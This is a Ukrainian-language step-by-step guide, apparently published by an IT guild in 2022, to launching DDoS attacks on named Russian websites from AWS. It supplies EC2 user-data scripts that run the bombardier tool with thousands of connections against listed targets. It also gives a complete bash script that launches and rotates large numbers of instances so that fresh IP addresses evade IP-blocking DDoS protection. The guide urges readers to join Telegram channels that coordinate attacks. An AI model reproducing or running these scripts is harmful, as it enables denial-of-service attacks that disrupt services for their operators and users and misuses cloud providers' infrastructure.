Як налаштувати DDoS російських сайтів на AWS

Детальна інструкція про те, як розгорнути DDoS російських сайтів на Amazon Web Services.

Крок 1. Створюємо AWS-аккаунт

Проходимо реєстрацію, вона складається з 5 кроків. Потрібно вказувати чесні контактні дані. Або майже чесні. Будь-яка правдива адреса з Google Maps теж підійде. Але електронна пошта, номер телефону та кредитна карта мають бути дійсні. На останньому кроці реєстрації, де Support Plan, обираємо Free.

Крок 2. Створюємо та запускаємо сервери

Переходимо у розділ EC2, обираємо бажано європейській регіон для наших серверів, такий як Frankfurt, London, Paris.

Починаємо безпосередньо створювати сервери:

Обираємо Amazon Linux 2 Image та рухаємось далі по візарду:


Обираємо t2.micro Instance Type.

Зверніть увагу що обераючи Free tier eligible Instance Type амазон пропанує безкоштовні ліміти на його використання.

Тепер переходимо на наступний найбільш важливий розділ 3. Configure Instance. Тут ви маєте обрати кількість серверів, які хочете задіяти для DDoS-атаки. Приблизна вартість 100 серверів за годину буде складати $1, але це без урахування трафіку.

Підняти один сервер буде безкоштовно в рамках Free Tier Limit. Щоб ще знизити вартість використання серверів, раджу не орендувати публічний IP, для цього оберіть значення Disable в розділі Auto-assign Public IP.

Далі потрібно проскролити сторінку донизу та розгорнути секцію Advanced Details.

В поле User data вставляємо наступне:



#!/bin/bash
yum update -y
yum install docker -y
systemctl enable docker.service
systemctl start docker.service
docker run -d --rm alpine/bombardier -c 200 -d 1000h https://sberbank.ru

Увага! Обов’язково, замість умовного https://sberbank.ru вкажіть той ресурс, який зараз все ще працює

🙂

У результаті на кожен сервер, який буде запущено, буде встановлено bombardier. Це достатньо потужний інструмент для тестування сайтів під навантаженням. Але в нашому випадку ми його використаємо дещо для інших цілей. Він створює 200 потоків і кожен потік генерує дуже щільний трафік по встановленій цілі.

Після чого натискаємо Review and Launch.

Підтверджуємо створення серверів.

AWS запропонує створити ключі для доступу до серверу. Ця конфігурація вже протестована та інстанси (тобто сервери) працюють, і негайної необхідності заходити на інстанси немає. Тому раджу просто обрати варіант Proceed without a key pair.

Вітаю! Ви посилили ІТ-армію ще своїми бандерінстансами. Разом до перемоги!

Для керування серверами використовуйте команди цього меню:

Terminate зупиняє та видаляє сервер. Сервер зі списку видалиться за деякий час.

Щоб змінити ціль, виконайте Terminate для поточних інстансів та створіть нові, як ви вже навчились. Це найбільш простий спосіб керування великою кількістю серверів на AWS.

В ході експлуатації стало зрозуміло, що цей підхід має і певні недоліки. Основний з яких: нестійкість до сайтів з DDoS-захистом, які працюють на основі блокування IP-адрес клієнтів при великій кількості пакетів, надісланих з цих клієнтів. У цій статті спробую розповісти, як ефективно боротись з цим типом захисту від DDoS. У більшості випадків захист від DDoS працює таким чином, що пропускає порцію пакетів з однієї IP-адреси за якийсь визначений проміжок часу, і після досягнення певного порогу по кількості запитів IP-адреса блокується. У цьому випадку ми маємо не просто запускати інстанси та забути за них, а ще й перевіряти їхній стан або робити примусову ротацію серверів на нові.

Другий варіант простіший, і зараз розглянемо саме його. У випадку, коли IP-адреса блокується, потрібно видалити інстанс і підняти новий. У момент створення інстансу AWS алокує зі свого пулу IP-адрес нову адресу, яка ще не заблокована. Взявши за основу цю ідею, давайте приготуємо рішення. Для цього буде потрібно встановити консольну утиліту aws-cli, яка дозволить віддалено керувати серверною інфраструктурою з вашого комп’ютера.

Крок 1. Створення IAM User

На цьому етапі в вас вже має бути створений AWS-аккаунт. Створюємо юзера, від імені якого будуть робитись всі наступні дії. Переходимо сюди та починаємо створення нового юзера. Даємо ім’я та обов’язково включаємо чекбокс Programmatic access:

Тут і надалі зображення надані авторов

На цьому етапі додаємо наступні права:

Інші кроки пропускаємо, створюємо юзера і тепер найголовніше. Після створення юзера збережіть Access key ID та Secret access key. Далі вони нам знадобляться.

Крок 2. Встановлення AWS-CLI

Це консольна утиліта. Вона буде керувати запуском та ротацією інстансів з вашого комп’ютера. Встановити досить просто, переходимо за посиланням. Та в залежності від вашої OS обираєте потрібний розділ. Там на вас чекає лише один крок.

Встановили? Чудово, тепер конфігуруємо aws-cli:

Вказуємо Access Key ID та Secret Access Key. Регіон та формат виводу можна залишити будь-яким, або як на скріншоті. Все одно він буде перевизначений скриптом.


Вітаю. Конфігурація закінчена. Тепер переходимо до самого скрипта, який керуватиме армією бандерінстансів.

Крок 3. Готуємо скрипт керування серверами

Створіть файл ddos.sh та додайте йому прав на виконання chmod +x ddos.sh Скопіюйте в нього цей скрипт.


#!/bin/bash
# Amount of instances for DDoS
count=50
# Region
region="eu-west-2"
# Rotation interval.
rotationInterval=300 # in seconds. 5minutes by default

# Get VPC id
# Attention! If you have more than one VPC, replace it by proper one
vpc=$(aws ec2 describe-vpcs \
   --region $region \
   --query "Vpcs[].VpcId" \
   --no-cli-pager \
   --output text | awk '{print $1}')
# Get security group id
sg=$(aws ec2 describe-security-groups \
   --region $region \
   --filters Name=group-name,Values=it-army-security-group \
   --query "SecurityGroups[*].[GroupId]" \
   --no-cli-pager --output text)
function launch {
   # Launch Instances
   instances=$(aws ec2 run-instances \
       --region $region \
       --image-id ami-060c4f2d72966500a \
       --count $count \
       --instance-type t2.micro \
       --security-group-ids $sg \
       --user-data file://user-data.txt \
       --no-cli-pager --output text \
       --query "Instances[*].[InstanceId]" | tr '\r\n' ' ')
   # Add tags for newly created instances
   aws ec2 create-tags \
   --region $region \
   --resources $instances \
   --tags Key=banderinstance,Value= \
   --no-cli-pager --output text
   echo "Launched instances: $instances"
}
function terminate {
   # List running instances
   instances=$(aws ec2 describe-instances \
       --region $region \
       --filters "Name=tag-key,Values=banderinstance" "Name=instance-state-name,Values=running" \
       --query "Reservations[*].Instances[*].InstanceId" \
       --no-cli-pager --output text  | tr '\r\n' ' ')
   # Terminate running instances
   terminatedInstances=$(aws ec2 terminate-instances \
       --region $region \
       --instance-ids $instances \
       --query "TerminatingInstances[*].InstanceId" \
       --no-cli-pager --output text)
   echo "Terminated instances: $terminatedInstances"
}
function setup {
   # Create a security group
   aws ec2 create-security-group --region $region --group-name it-army-security-group --description "IT Army" --vpc-id $vpc --no-cli-pager --output text
}
if [ $1 = "setup" ]; then
   setup
elif [ $1 = "terminate" ]; then
   terminate
else
   # Instance Rotation
   echo "Press [Cmd+C] to stop..."
   iteration=1
   while true
   do
       echo "DDos Iteration ${iteration}"
       iteration=$((iteration+1))
       launch
       sleep $rotationInterval
       terminate
   done
fi

Цей скрипт вміє підіймати сотні або тисячі інстансів, та займатись їхньою ротацією. Це означає, що по заданому інтервалу будуть підійматися нові сервери з новими IP-адресами із загального пула AWS, а поточні будуть видалятись. Таким чином, ми обходимо захист від DDoS на основі блокування IP-адрес.

Зверніть увагу, що сам DDoS виконується на потужностях AWS. Тобто, ви можете підняти хоч 1000 або 10 000 інстансів і створити справжню армію бандерінстансів, які генерують тони трафіку, але йдемо далі. Зокрема ці параметри ви можете змінити за бажанням:

count – Кількість серверів які працюють водночас. Може бути як 1 так і 50 або 10 000, але це жорстко.

regioneu-west-1,eu-west-2 або eu-west-3 або будь який інший з доступних

rotationInterval – раз на цей інтервал всі дійсні бандерінстанси будуть замінюватись на нові.

Створіть файл user-data.txt в тій самій директорії, де ddos.sh, та в середину покладіть це:


#!/bin/bash
yum update -y
yum install docker -y
systemctl enable docker.service
systemctl start docker.service

# ============= TARGET WEBSITES ==============
cat <<EOF > targets.txt
transneft.ru
tektorg.ru
rosneft.com
lukoil.com
gazprom.ru
EOF
# =========== END TARGET WEBSITES ============

for target in $(cat targets.txt)
do
   docker run -d --rm alpine/bombardier -c 10000 -d 1h -l $target
done

Це є скрипт, який виконується під час створення та запуску для кожного з інстансів у кластері.

  • Зверніть увагу! Цей код виконується лише раз на момент створення інстансів. Тобто зупиняти інстанси, а потім запускати знов не треба.

Крок 4. Запуск

Спочатку потрібно виконати базову конфігурацію, виконуємо команду:


./ddos.sh setup

Ця команда створює Security Group яка буде підв’язуватись до всіх наступних бандерінстансів, щоб не смітити в конфігурації.

Запускаємо DDoS


./ddos.sh

Зверніть увагу, що ви можете просто оновлювати цілі в user-data.txt в розділі targets, і нові інстанси будуть працювати по новим цілям. Щоб потушити всі інстанси, виконайте цю команду.


./ddos.sh terminate

Крок 5. Як діяти централізовано та ефективно

Знайшов Telegram-канал, який централізовано робить DDoS по ворогу, долучайтесь. І наша IT Армія, раптом хтось ще не там, приєднуйтесь.

Пропонуйте, як покращити ефективність DDoS, для цього пишіть в чат свої пропозиції, або якщо щось не спрацювало. Це важливо, бо інструкція має бути дієвою. Зараз перш за все не вистачає інструкції для Windows, бо даний спосіб передбачений для Linux таMac OS користувачів.

Друзі, вдалого полювання, тримаймо стрій.

за матеріал дякуємо команді AIN


Приєднуйтесь до нас:

Стати учасником
© 2022 ГО «Гільдія ІТ-Фахівців». Код ЄДРПОУ 44412232. Всі права захищено.